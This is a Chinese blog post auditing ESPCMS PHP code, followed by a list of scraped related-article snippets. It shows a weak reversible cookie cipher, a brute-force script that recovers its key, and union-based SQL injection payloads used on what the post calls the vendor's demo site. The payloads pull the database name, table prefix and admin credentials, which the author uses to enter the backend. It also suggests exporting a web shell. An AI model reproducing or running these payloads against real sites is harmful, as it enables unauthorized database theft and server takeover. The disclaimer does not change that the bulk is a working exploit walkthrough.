*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

闲生寄别

落野彷徨云翳月,昏鸦倦鸟归缠绵

春风不晓霜林晚,但觉人间白发生

芸芸求索何所依,天涯孤影任我行

踏马归蹄英满地,蓦首辄笑狂狷人

代码分析

先淫一手诗,开始本文.

最近看了下espcms的代码,发现了个比较有意思的注入

interface\membermain.php 第 33行

$db_sql = "SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid WHERE a.userid = $this->ec_member_username_id ";

难道是 int 注入 ,继续跟进 public\class_connector.php 第 415 行

function member_purview($userrank = false, $url = null, $upurl = false) {

........

$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));

list($this->ec_member_username_id, $this->ec_member_alias, $this->ec_member_integral, $this->ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;

.......

}

哈哈 直接从cookie的 ecisp_member_info中取出来,不过这里有个加密函数,

public\class_function.php 第179 行

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {

$result = '';

if ($operation == 'ENCODE') {

for ($i = 0; $i < strlen($string); $i++) {

$char = substr($string, $i, 1);

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

$char = chr(ord($char) + ord($keychar));

$result.=$char;

}

$result = base64_encode($result);

$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);

} elseif ($operation == 'DECODE') {

$data = str_replace(array('-', '_'), array('+', '/'), $string);

$mod4 = strlen($data) % 4;

if ($mod4) {

$data .= substr('====', $mod4);

}

$string = base64_decode($data);

for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; }

额 很明显 这种函数式可逆的,只需要找出key即系统中的db_pscode 继续跟进 db_pscode 生成 install\fun_center.php 第 238 行

$pscode = rand('99', '999'); $config .= "define('db_pscode', '" . md5(md5($pscode)) . "');\r\n";

好吧 随机生成 ..... 在围观下 cookies中 ecisp_member_info的生成吧 interface\member.php 第 110 行

$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]

|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));

用户id 名称 邮箱 等等信息,这些对于攻击者都是可知的,那不是可以重举99到999 的key来匹配这些信息,计算出key之后,即可以操作cookie,传入任意sql语句(具体代码见附件中)

for($i=99;$i

$key=md5(md5($i));

msg("Test $i :".$key);

$admin_ClassURL=md5("http://".$argv[1]."/");

$real_cookie_info=eccode($temp,'DECODE',$key);

if($real_cookie_info){

if(strpos($real_cookie_info,$argv[2]) && strpos($real_cookie_info,$argv[3]) && strpos($real_cookie_info,$admin_ClassURL)){

msg("The Key Is :".$key);

break;

}

}

}

利用演示

例如 官方演示站 ,几百次之后得到key= 95e87f86a2ffde5110e93c2823634927

先实验下 select user()

Member_info 的明文为

1 and 1=2 union select 1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28

Eccode 之后 (程序见附件)

编辑cookies 传入注入语句

刷新下会员中心 http://xxx.cn/index.php?ac=membermain&at=editinfo

数据出来出来鸟,测试可行 查询数据库

$sql_exp=" 1 and 1=2 union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";

得到当前数据库为 espcmsdemo,查询表前缀

select table_name from information_schema.tables where table_schema=0x657370636D7364656D6F limit 1

前缀到手

查管理员用户名 密码

select concat(username,CHAR(0x7c),password) from espdemo_admin_member limit 1

得到管理员用户名|密码,解密md5 之后 杀进后台

连接之 留txt 走人

附件下载

点我下载

Tips :如果找不到后台可以试试注入导出shell,爆绝对路径地址:爆绝对路径:interface/3gwap_search.php.

php代码审计zhuru,[php 代码审计]Espcms 暴力注入相关推荐

  1. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 6.全局防护盲点的总结上篇

    [PHP代码审计] 那些年我们一起挖掘SQL注入 - 6.全局防护盲点的总结上篇 0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等 ...

  2. PHP代码审计18—PHP代码审计小结

    文章目录 一.前期准备 1.工具准备 2.审计环境准备 二.了解系统架构 1.使用了开发框架 1) ThinkPHP框架 2) laravel框架 2.没使用开发框架 三.参数过滤分析 1.MVC模式 ...

  3. 常见代码审计工具,代码审计为什么不能只用工具?

    代码审计是一种发现程序漏洞,安全分析为目标的程序源码分析方式.今天主要分享的是几款常用的代码审计工具,以及代码审计工具有哪些优缺点? 代码审计工具 seay代码审计工具,是一款开源的利用C#开发的一款 ...

  4. php代码审计工具_【学习笔记】PHP代码审计入门:代码审计实例2

    第  35  课    代码审计实例之任意文件上传  课程入口(付费) 个人背景 李,本科,电子信息工程专业,毕业一年半,有JavaScript的,PHP,Python的语言基础,目前自学网络安全中. ...

  5. espcms搜索注入页面

    espcms搜索注入页面 下载易思ESPCMS企业网站管理系统的V5 版本,成功安装 首先我们需要知道此CMS的路由,以http://127.0.0.1/espcms/upload/index.php ...

  6. 代码审计入门笔记—分析一个旧版本 espcms SQL 注入漏洞

    最近在读<代码审计:企业级 Web 代码安全架构>,作者是尹毅. 我的想法是,精读这本书,从而入门 PHP 代码审计,能够利用工具检测一些轻量级 CMS 的漏洞,分析代码逻辑,理解漏洞原理 ...

  7. 【代码审计】那些代码审计的思路.md

    前言 代码审计工具的实现都是基于代码审计经验开发出来用于优化工作效率的工具,我们要学好代码审计就必须要熟悉代码审计的思路.而且代码审计是基于PHP语言基础上学习的,学习代码审计最基本的要求就是能读懂代 ...

  8. 【代码审计】--- php代码审计方法

    代码审计需要掌握的点 PHP编程语言的特性和基础 Web前端编程基础 漏洞形成原理 代码审计思路 不同系统.中间件之间的特性差异 代码审计思路 方法一 ---- 检查敏感函数的参数,然后回溯变量,判断 ...

  9. PHP代码审计17—CLTPHP代码审计

    文章目录 一.系统架构分析 1.系统目录结构 2.系统路由 3.系统配置 4.系统参数获取与过滤 二.Xml外部实体注入分析 1.漏洞分析 2.Payload分析 三.任意文件删除与下载 1.黑盒测试 ...

最新文章

  1. IOS一些显示效果和动画效果资料
  2. react hooks使用_如何使用Hooks将React类组件转换为功能组件
  3. 李德毅院士《探索新一代人工智能产业发展》
  4. 这是我的第一个python程序怎么打-我的第一个Python程序
  5. 可扫爆服务器系统,可扫可爆云服务器
  6. 全国高等学校计算机等级考试(江西考区)一级笔试试卷a,全国高等学校计算机等级考试(江西考区)一级笔试试卷A...
  7. 产品经理十二时辰:内容过于真实,扎心了!
  8. python的图书管理项目教程_基于python图书馆管理系统设计实例详解
  9. 在linux上执行.net Console apps
  10. 十一.激光惯导LIO-SLAM框架学习之LIO-SAM框架---框架介绍和运行演示
  11. 10.数据管理(内存,文件锁)
  12. 产品经理小白面试经验总结
  13. 全国机器人足球锦标赛
  14. license.xml
  15. 北信源桌面终端管理系统部署与问题
  16. 彼得林奇投资策略精髓
  17. linux上2048游戏程序,在Linux系统下完全可以玩2048游戏
  18. PAT甲级-1118 Birds in Forest (25 分)
  19. CM添加kafka服务
  20. Django笔记教程:三、Model进阶

热门文章

  1. P2617 Dynamic Rankings
  2. 修改字段名和字段备注
  3. 基于matlab的2ask频带传输系统仿真与性能分析,基于MATLAB的2ASK频带传输系统仿真与性能分析汇总...
  4. 数学分析闭区间套定理_不能精确找到背驰点?利用区间套解决这难题
  5. python classmethod static_python classmethod和 staticmethod的心得
  6. php实例新讲php,实例讲解PHP5 新特性
  7. 数据预处理包括哪些内容python_常见的数据预处理--python篇
  8. Oracle添加主键和唯一约束最佳实践
  9. 利用selenium模块配合chromedriver把html文件转换为图片
  10. anaconda安装python3.7、jupyter_Anaconda3 Python 3 和 2 in Jupyter Notebook共存方法